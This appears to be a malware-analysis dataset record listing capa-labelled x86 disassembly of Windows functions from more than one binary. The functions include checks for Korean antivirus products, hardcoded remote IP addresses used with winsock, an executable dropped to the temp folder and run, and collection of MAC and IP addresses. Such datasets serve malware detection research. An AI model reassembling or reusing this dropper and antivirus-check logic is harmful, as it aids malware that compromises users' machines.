joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 1
jne 0x401014
mov eax, dword [0x4390cc]
mov dword [ebp + 8], eax
mov dword [ebp - 4], 0
jmp 0x401026
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [0x4390d0]
shr edx, 1
cmp dword [ebp - 4], edx
jae 0x4010ab
mov eax, dword [ebp - 4]
mov ecx, dword [0x4390b4]
movzx edx, word [ecx + eax*2]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
shr eax, 0xc
cmp eax, 3
jne 0x4010a6
mov ecx, dword [ebp - 0xc]
and ecx, 0xfff
add ecx, 0x1474
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1474
mov dword [ebp - 8], edx
cmp dword [ebp - 4], 0
jne 0x401087
push 0x20e
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x401087
xor eax, eax
jmp 0x4010ab
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax]
mov edx, dword [ebp - 8]
mov eax, dword [ecx + edx]
add eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx]
mov ecx, dword [ebp - 8]
mov dword [edx + ecx], eax
jmp 0x40101d
mov esp, ebp
pop ebp
ret
Function at 0x4019f0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x4390c0], 0x24e1
mov eax, dword [0x4390c0]
sub eax, 0x24e1
mov dword [0x4390c0], eax
mov ecx, 1
test ecx, ecx
je 0x401a9b
mov edx, dword [0x4390c0]
cmp edx, dword [ebp + 0xc]
jb 0x401a27
jmp 0x401a9b
cmp dword [0x4390c0], 0
jne 0x401a45
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x401a45
xor eax, eax
jmp 0x401a9b
mov eax, dword [ebp + 8]
add eax, dword [0x4390c0]
mov ecx, dword [eax]
add ecx, dword [0x4390c0]
mov edx, dword [ebp + 8]
add edx, dword [0x4390c0]
mov dword [edx], ecx
mov dword [ebp - 4], 0x263fa
mov eax, dword [0x4390c0]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x4390c0]
push eax
call fcn.004011d0
add esp, 8
mov ecx, dword [0x4390c0]
add ecx, 4
mov dword [0x4390c0], ecx
jmp 0x401a0d
mov esp, ebp
pop ebp
ret

Function at 0x401aa0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov dword [ebp - 0x114], str._ffffffffffffffff
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x11c], eax
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x11c]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401b1a
cmp dword [ebp - 0x118], 0
je 0x401b1a
jmp 0x401b7c
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0
je 0x401b7c
mov dword [ebp - 0x120], 0x7dc35
mov eax, dword [ebp + 8]
add eax, 8
mov dword [0x4390b4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [0x4390d0], edx
mov dword [ebp - 0x120], 0x7dc35
mov dword [ebp - 0x120], 0x7dc35
call fcn.004011c0
mov eax, dword [ebp + 8]
mov dword [0x4390cc], eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
call fcn.004019b0
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x401b1a
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x42fc20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push edi
push 0x4287ac
call fcn.004046b0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x401114
push esi
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00411d40
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x226]
push eax
mov word [esp + 0x228], dx
call fcn.00411d40
add esp, 0x18
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov esi, 0x433ca0
cmp word [esi], 0
je 0x4010ab
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040fccf
push esi
lea ecx, [esp + 0x220]
push 0x104
push ecx
call fcn.0040fd3e
add esp, 0x18
add esi, 0x118
cmp esi, 0x434218
jl 0x401078
mov esi, 0x433ca0
mov edi, edi
cmp word [esi], 0
je 0x4010d7
push 1
push edi
push 0x4287ac
push esi
call fcn.00405310
add esp, 0x10
add esi, 0x118
cmp esi, 0x434218
jl 0x4010c0
push 0x434a70
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040fd3e
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
pop esi
cmp eax, 0xffffffff
jne 0x401112
mov ebx, 2
mov eax, ebx
mov ecx, dword [esp + 0x414]
pop ebx
xor ecx, esp
call fcn.0040fcc0
add esp, 0x414
ret
Function at 0x4013f0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x42fc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x433bd0
push 0x67
push esi
call edi
push 0x64
push 0x433b08
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004015b0
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x433bd0
push 0x433b08
push 0
mov dword [0x433c98], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401482
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040fcc0
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
push 0x430f90
call fcn.00402a70
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 4
push 0x7d0
call esi
call fcn.00401f90
test eax, eax
je 0x4014bb
call fcn.00403580
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.00401a50
test eax, eax
je 0x40146a
test byte [0x43421c], 7
je 0x4014d2
call fcn.00401130
mov eax, dword [0x4344f8]
test eax, eax
jbe 0x4014ff
cmp word [0x4344fc], 0
jbe 0x4014ff
push str.218.54.31.226
push eax
call fcn.00404330
mov ax, word [0x4344fc]
add esp, 8
mov word [0x430fac], ax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp4_X.exe
mov edx, 0x434a70
call fcn.00401c30
call fcn.004043e0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x1a]
push eax
mov word [esp + 0x1c], dx
call fcn.00411d40
add esp, 0x14
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x434a70
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040fd3e
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4015a1
push 0x1f4
call esi
push 1
push 0
push 0x428858
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x401700
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x42fc20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00411d40
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00411d40
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x4288bc
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017a6
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4288bc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017d1
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4288bc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017fc
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4288bc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40182a
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4288bc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401858
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4288bc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401886
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.0040fcc0
add esp, 0x414
ret
Function at 0x401a50
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3a8
mov eax, dword [0x42fc20]
xor eax, esp
mov dword [esp + 0x3a0], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.00411d40
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x434670
call fcn.00401c50
test eax, eax
jne 0x401b69
jmp 0x401ab0
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x434818], cx
add eax, 2
test cx, cx
jne 0x401ab0
push str.218.54.30.235
push 0x40
push 0x434674
call fcn.0040fccf
add esp, 0xc
push str.AAAA
push 0x10
push 0x4346f6
call fcn.0040fccf
add esp, 0xc
push 0x428aa4
push 0x40
push 0x434716
call fcn.0040fccf
mov eax, 0x51
mov ecx, 0x2b70
add esp, 0xc
mov word [0x4346f4], ax
mov word [0x434796], cx
xor eax, eax
jmp 0x401b20
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x4347f8], cx
add eax, 2
test cx, cx
jne 0x401b20
mov eax, 0x4347f8
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401b40
mov edx, dword [0x428ad0]
mov cx, word [0x428ad4]
mov dword [eax], edx
mov word [eax + 4], cx
mov dword [0x434838], 5
call fcn.00403b40
lea edx, [esp + 0x198]
push edx
call fcn.00403a30
add esp, 4
xor eax, eax
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x434630], cx
add eax, 2
test cx, cx
jne 0x401b80
push 0x434630
push 0
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
je 0x401bcc
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x3a0]
xor ecx, esp
call fcn.0040fcc0
add esp, 0x3a8
ret
push 0x434630
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
test eax, eax
je 0x401bb4
push 0x428aa4
call fcn.00403c60
add esp, 4
mov dword [0x4344f8], eax
call fcn.004018b0
push 0
push 0
push 0
push 0x4041e0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [esp + 0x3a4]
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040fcc0
add esp, 0x3a8
ret
Function at 0x401cf0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42fc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401e03
cmp esi, ebx
je 0x401e03
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401d20
sub eax, edx
sar eax, 1
je 0x401e03
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.00411d40
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401d8a
cmp dword [0x430f90], 3
jne 0x401d8a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x428af4
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040fd3e
add esp, 0xc
jmp 0x401d9a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040fd3e
push 0x428af8
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.00410021
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401e03
push eax
push 1
push 0x200
push edi
call fcn.00410314
mov eax, dword [esp + 0x14]
push eax
call fcn.004103a8
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040fcc0
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040fcc0
add esp, 0x210
ret

Function at 0x401ec0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42fc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.00411d40
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401f72
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040fd3e
push 0x428b18
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00410021
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401f57
push eax
push 1
push 0x200
push esi
call fcn.00410586
mov eax, dword [esp + 0x14]
push eax
call fcn.004103a8
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040fcc0
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040fcc0
add esp, 0x210
ret
Function at 0x4028b0
Capabilities:
Delete file

Disassembly:
sub esp, 0x414
mov eax, dword [0x42fc20]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.00411d40
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.00411d40
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401e20
test eax, eax
je 0x4029f6
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x428aa4]
mov word [eax + 0x434328], cx
add eax, 2
test cx, cx
jne 0x402910
xor eax, eax
jmp 0x402930
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x434220], cx
add eax, 2
test cx, cx
jne 0x402930
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x4342a0], cx
add eax, 2
test cx, cx
jne 0x402950
cmp dword [0x430f90], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x434320], ax
mov word [0x4343a8], cx
mov dword [0x4343ac], 5
je 0x4029a0
lea edx, [esp + 0x208]
push edx
push 1
jmp 0x4029aa
lea eax, [esp + 0x208]
push eax
push 0
call fcn.00403390
add esp, 8
push str.golfset.ini
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.0040fd3e
add esp, 0xc
lea edx, [esp + 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.0040fcc0
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0040fcc0
add esp, 0x414
ret

Function at 0x402a70
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42fc20]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov word [ebp - 0x134], cx
push 0x11c
push 0
lea edx, [ebp - 0x130]
push edx
call fcn.00411d40
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
test eax, eax
je 0x402b32
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x128]
mov dword [ebp - 4], edx
mov ax, word [ebp - 0x1c]
mov word [ebp - 0x134], ax
cmp dword [ebp - 8], 5
jne 0x402b0c
cmp dword [ebp - 4], 2
jae 0x402b03
cmp dword [ebp - 4], 1
jne 0x402b0c
mov ecx, dword [ebp + 8]
mov dword [ecx], 3
cmp dword [ebp - 8], 6
jne 0x402b32
cmp dword [ebp - 4], 0
jne 0x402b23
mov edx, dword [ebp + 8]
mov dword [edx], 4
jmp 0x402b32
cmp dword [ebp - 4], 1
jne 0x402b32
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040fcc0
mov esp, ebp
pop ebp
ret
Function at 0x402b40
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42fc20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00411d40
add esp, 0xc
cmp dword [0x430f90], 3
jne 0x402ba8
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x42aa44
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.0040fd3e
add esp, 0xc
jmp 0x402bba
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x210]
push eax
push str._s_s.exe
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040fcc0
mov esp, ebp
pop ebp
ret

Function at 0x402e80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x42fc20]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0xffffffff
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00411d40
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
movzx eax, word [ebp - 0x210]
sub eax, 0x41
mov dword [ebp - 0x218], eax
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x218]
push edx
call fcn.004030e0
add esp, 8
mov eax, dword [ebp - 0x21c]
push eax
call fcn.00403200
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x402f2a
xor eax, eax
jmp 0x402f3d
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x214]
push edx
call fcn.00402cc0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040fcc0
mov esp, ebp
pop ebp
ret

Function at 0x403050
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x403083
jmp 0x4030d4
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
push 0
push 0x200
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00413b10
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403390
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x4033aa
mov eax, dword [ebp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
jmp 0x4033cf
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x42ada0
push 0x104
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040fd3e
add esp, 0xc
pop ebp
ret

Function at 0x4033e0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x42ada4
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00410021
add esp, 0xc
test eax, eax
je 0x403414
xor eax, eax
jmp 0x4034f5
mov dword [ebp - 0x14], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00410bf2
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.00410e14
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00410bf2
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x10]
push edx
call fcn.004109dc
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00410314
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.004103a8
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
push edx
call fcn.00403500
add esp, 8
push 0x42adac
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00410021
add esp, 0xc
test eax, eax
je 0x4034ae
xor eax, eax
jmp 0x4034f5
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00410586
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.004103a8
add esp, 4
mov dword [ebp - 4], 1
cmp dword [ebp - 0xc], 0
je 0x4034f2
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00410aa6
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403ec0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x24], 2
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x28], 0x3a98
mov eax, dword [ebp - 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x403f47
mov dword [ebp - 0x10], 0xffffffff
jmp 0x40403e
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x6f
jne 0x403f81
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x2c], 0x6f
jne 0x403f96
cmp dword [ebp - 0x1c], 3
jb 0x403f1a
cmp dword [ebp - 0x2c], 0
jne 0x40402c
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0
je 0x40402a
mov edx, dword [ebp - 0x20]
cmp dword [edx + 0x34], 6
jne 0x40401c
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0x1c], 0
je 0x40401c
mov ecx, dword [ebp - 0x20]
add ecx, 0x2c
mov edx, dword [ebp + 8]
mov eax, dword [ecx]
mov dword [edx], eax
mov cx, word [ecx + 4]
mov word [edx + 4], cx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp + 0xc]
mov al, byte [ecx + 4]
mov byte [edx + 3], al
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x10]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + 5]
mov byte [ecx + 2], dl
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp + 0xc]
mov cl, byte [edx + 6]
mov byte [eax + 1], cl
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp + 0xc]
mov al, byte [ecx + 7]
mov byte [edx], al
jmp 0x40402a
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 8]
mov dword [ebp - 0x20], edx
jmp 0x403fa6
jmp 0x404037
mov dword [ebp - 0x10], 0xfffffffd
jmp 0x40403e
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x14], 0
je 0x404057
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret